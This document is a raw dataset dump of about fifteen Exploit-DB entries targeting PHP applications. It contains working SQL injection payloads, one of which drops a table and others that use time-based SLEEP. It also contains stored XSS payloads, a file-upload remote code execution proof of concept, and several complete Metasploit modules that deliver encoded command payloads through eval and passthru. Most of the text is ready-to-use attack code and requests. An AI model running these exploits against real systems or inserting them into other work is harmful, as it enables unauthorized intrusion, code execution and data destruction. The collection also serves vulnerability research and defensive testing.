deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51813
Description: FAQ Management System v1.0 - 'faq' SQL Injection
Type: remote
Platform: php
Date: 2024-02-26
Author: SoSPiro

Exploit:
# Exploit Title: FAQ Management System v1.0 - 'faq' SQL Injection
# Google Dork: N/A
# Application: FAQ Management System
# Date: 25.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/17175/faq-management-system-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

The provided code is vulnerable to SQL injection. The vulnerability arises from directly using user input ($_GET['faq']) in the SQL query without proper validation or sanitization. An attacker can manipulate the 'faq' parameter to inject malicious SQL code, leading to unintended and potentially harmful database operations.


## Proof of Concept (PoC):

An attacker can manipulate the 'faq' parameter to perform SQL injection. For example:

1. Original Request:
http://example.com/endpoint/delete-faq.php?faq=123

2.Malicious Request (SQL Injection):
http://example.com/endpoint/delete-faq.php?faq=123'; DROP TABLE tbl_faq; --

This would result in a query like:

DELETE FROM tbl_faq WHERE tbl_faq_id = '123'; DROP TABLE tbl_faq; --

Which can lead to the deletion of data or even the entire table.


poc foto: https://i.imgur.com/1IENYFg.png


## Vulnerable code section:
====================================================
endpoint/delete-faq.php


$faq = $_GET['faq'];

// ...

$query = "DELETE FROM tbl_faq WHERE tbl_faq_id = '$faq'";
Exploit-DB #51812
Description: Flashcard Quiz App v1.0 - 'card' SQL Injection
Type: remote
Platform: php
Date: 2024-02-26
Author: SoSPiro

Exploit:
# Exploit Title: Flashcard Quiz App v1.0 - 'card' SQL Injection
# Google Dork: N/A
# Application: Flashcard Quiz App
# Date: 25.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/17160/flashcard-quiz-app-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

The provided PHP code is vulnerable to SQL injection. SQL injection occurs when user inputs are directly concatenated into SQL queries without proper sanitization, allowing an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.


## Proof of Concept (PoC):

This vulnerability involves injecting malicious SQL code into the 'card' parameter in the URL.

1. Original Code:

$card = $_GET['card'];

$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";

2. Payload:

' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --

3. Injected Query:

DELETE FROM tbl_card WHERE tbl_card_id = '' OR '1'='1'; SELECT IF(VERSION() LIKE '8.0.31%', SLEEP(5), 0); --

Request Response foto: https://i.imgur.com/5IXvpiZ.png


## Vulnerable code section:
====================================================
endpoint/delete-flashcard.php

$card = $_GET['card'];

$query = "DELETE FROM tbl_card WHERE tbl_card_id = '$card'";
Exploit-DB #44993
Description: GitList 0.6.0 - Argument Injection (Metasploit)
Type: remote
Platform: php
Date: 2018-07-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GitList v0.6.0 Argument Injection Vulnerability",
      'Description'    => %q{
        This module exploits an argument injection vulnerability in GitList v0.6.0.
        The vulnerability arises from GitList improperly validating input using the php function
        'escapeshellarg'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'EDB', '44548' ],
          [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'GitList v0.6.0', { } ]
        ],
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '\'"' },
      'DisclosureDate' => "Apr 26 2018",
      'DefaultTarget'  => 0))
  end

  def check
    uri = normalize_uri(target_uri.path, '/gitlist/')
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    postUri = normalize_uri(target_uri.path, '/gitlist/tree/c/search')
    cmd = '--open-files-in-pager=php -r "eval(\\"'
    cmd << payload.encoded
    cmd << '\\");"'
    send_request_cgi(
      'method' => 'POST',
      'uri'    => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end
Exploit-DB #26622
Description: InstantCMS 1.6 - PHP Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2013-07-05
Author: Metasploit

Exploit:
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'InstantCMS 1.6 Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary php command execution vulnerability, because of a
        dangerous use of eval(), in InstantCMS versions 1.6.
      },
      'Author'         =>
        [
          'AkaStep', # Vulnerability discovery and PoC
          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'BID', '60816' ],
          [ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch' => ARCH_PHP,
      'Targets'        =>
        [
          [ 'InstantCMS 1.6', { }  ],
        ],
      'DisclosureDate' => 'Jun 26 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'  => 'search',
        'query' => '${echo phpinfo()}'
      }
    })

    if res
      if res.body.match(/Build Date/)
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Unknown
    end

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    return Exploit::CheckCode::Unknown
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'  => 'search',
        'query' => rand_text_alpha(3 + rand(3)),
        'look'  => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
      },
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      }
    })

  end
end
Exploit-DB #38827
Description: Nagios XI - 'tfPassword' SQL Injection
Type: remote
Platform: php
Date: 2013-12-13
Author: Denis Andzakovic

Exploit:
source: https://www.securityfocus.com/bid/63754/info

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2012R2.4 are vulnerable. 

POST /nagiosql/index.php HTTP/1.1
Host: localhost
Content-Length: 69
Origin: http://locahost
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/nagiosql/
Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3

tfUsername=test&tf[CREDENTIAL_REDACTED]+OR+1%3D1+limit+1%3B--+&Submit=Login
Exploit-DB #46340
Description: NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit)
Type: remote
Platform: php
Date: 2019-02-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'NUUO NVRmini upgrade_handle.php Remote Command Execution',
      'Description' => %q{
        This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
        which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.
      },
      'License' => MSF_LICENSE,
      'Author'  =>
        [
          'Berk Dusunur', # @berkdusunur
          'numan turle'   # @numanturle
        ],
      'References' =>
        [
          ['URL', 'https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-41'],
          ['CVE', '2018-14933'],
          ['EDB', '45070']
        ],
      'Privileged'   => false,
      'Payload'      =>
        {
          'DisableNops' => true
        },
      'Platform'       => %w{ unix win linux },
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['NUUO NVRmini', { }], ],
      'DisclosureDate' => 'Aug 04 2018',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
        }}
      )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 200 && res.body =~ /upload_tmp_dir/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s, "upgrade_handle.php")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      =>  uri,
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';"+cmd+";'"
        }}
      )

    unless res
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end

    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end
Exploit-DB #51838
Description: Petrol Pump Management Software v.1.0 - SQL Injection
Type: remote
Platform: php
Date: 2024-03-03
Author: Shubham Pandey

Exploit:
# Exploit Title: Petrol Pump Management Software v.1.0 - SQL Injection
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27746
# Description: SQL Injection vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email address parameter in the index.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with username: test@test.com';SELECT SLEEP(10)# and
Password=test
3. Page will load for 10 seconds because of time-based sql injection
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27746.md
Exploit-DB #51837
Description: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file
Type: remote
Platform: php
Date: 2024-03-03
Author: Shubham Pandey

Exploit:
# Exploit Title: Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file 
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27744
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the xss.svg file in "Image" field
5. Stored XSS will be present in "
http://localhost/fuelflow/assets/images/xss.svg" page
6. The content of the xss.svg file is given below:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"
stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by Shubham Pandey");
  </script>
</svg>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27744.md
Exploit-DB #51836
Description: Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting
Type: remote
Platform: php
Date: 2024-03-03
Author: Shubham Pandey

Exploit:
# Exploit Title: Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27743
# Description: Cross Site Scripting vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the Address parameter in the add_invoices.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/add_invoices.php"
4. Fill the payload "<script>alert(0)</script>" in "Address" field
5. Stored XSS will be present in "
http://localhost/fuelflow/admin/manage_invoices.php" page
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27743.md
Exploit-DB #51839
Description: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload
Type: remote
Platform: php
Date: 2024-03-03
Author: Shubham Pandey

Exploit:
# Exploit Title: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload 
# Date: 01-03-2024
# Exploit Author: Shubham Pandey
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17180/petrol-pump-management-software-free-download.html
# Version: 1.0
# Tested on: Windows, Linux
# CVE : CVE-2024-27747
# Description: File Upload vulnerability in Petrol Pump Management Software v.1.0 allows an attacker to execute arbitrary code via a crafted payload to the email Image parameter in the profile.php component.
# POC:
1. Here we go to : http://localhost/fuelflow/index.php
2. Now login with default username=mayuri.infospace@gmail.com and
Password=admin
3. Now go to "http://localhost/fuelflow/admin/profile.php"
4. Upload the phpinfo.php file in "Image" field
5. Phpinfo will be present in "
http://localhost/fuelflow/assets/images/phpinfo.php" page
6. The content of phpinfo.php file is given below:
<?php phpinfo();?>
# Reference:
https://github.com/shubham-s-pandey/CVE_POC/blob/main/CVE-2024-27747.md
Exploit-DB #34985
Description: pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: php
Date: 2010-11-05
Author: dave b

Exploit:
source: https://www.securityfocus.com/bid/44738/info

pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

pfSense 1.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/graph.php?ifnum=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E&ifname=
http://www.example.com/graph.php?ifnum=&ifname=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #40294
Description: Phoenix Exploit Kit - Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2016-08-23
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Phoenix Exploit Kit Remote Code Execution',
      'Description'    => %q{
        This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit via the geoip.php. The
        Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the
        presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which
        then silently installs malware.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'CrashBandicot @DosPerl', #initial discovery
          'Jay Turla <@shipcod3>', #msf module
        ],
      'References'     =>
        [
          [ 'EDB', '40047' ],
          [ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
          [ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 200,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
          ['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Jul 01 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
      ],self.class)
  end

  def check
    test = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{test};")
    if res && res.body.include?(test)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    encoded = Rex::Text.encode_base64(payload.encoded)
    http_send_command("passthru(base64_decode(\"#{encoded}\"));")
  end

  def http_send_command(cmd)
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path),
      'vars_get' => {
        'bdr' => cmd
      }
    })
  end
end
Exploit-DB #28760
Description: PHP 3 < 5 - ZendEngine ECalloc Integer Overflow
Type: remote
Platform: php
Date: 2006-10-05
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/20349/info

PHP is prone to an integer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data.

An attacker can exploit this vulnerability to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

<?

 print_r(unserialize('a:[PII_REDACTED]:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...
Exploit-DB #19708
Description: PHP 3.0.13 - 'Safe_mode' Failure
Type: remote
Platform: php
Date: 2000-01-04
Author: Kristian Koehntopp

Exploit:
source: https://www.securityfocus.com/bid/911/info

PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

Because it runs on a webserver and allows for user implemented (and perhaps security relevant) code to be executed on it, PHP has built in a security feature called 'safe_mode' to control executed commands to the webroot environment which PHP operates in.

This is done by forcing any system call which executes shell commands to have their shell commands passed to the EscapeShellCmd() function which ensures the commands do not take place outside the webroot directory. 

Under certain versions of PHP however, the popen() command fails to be applied to the EscapeShellCmd() command and as such users can possibly exploit PHP applications running in 'safe_mode' which make of use of the 'popen' system call.

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>\n";
while($line = fgets($fp, 1024)):
printf("%s<br>\n", $line);
endwhile;
pclose($fp);

phpinfo();
?>

which gave me the following output

1
total 53 
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls 
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup) 

and from the configuration values of phpinfo():

safe_mode 0 1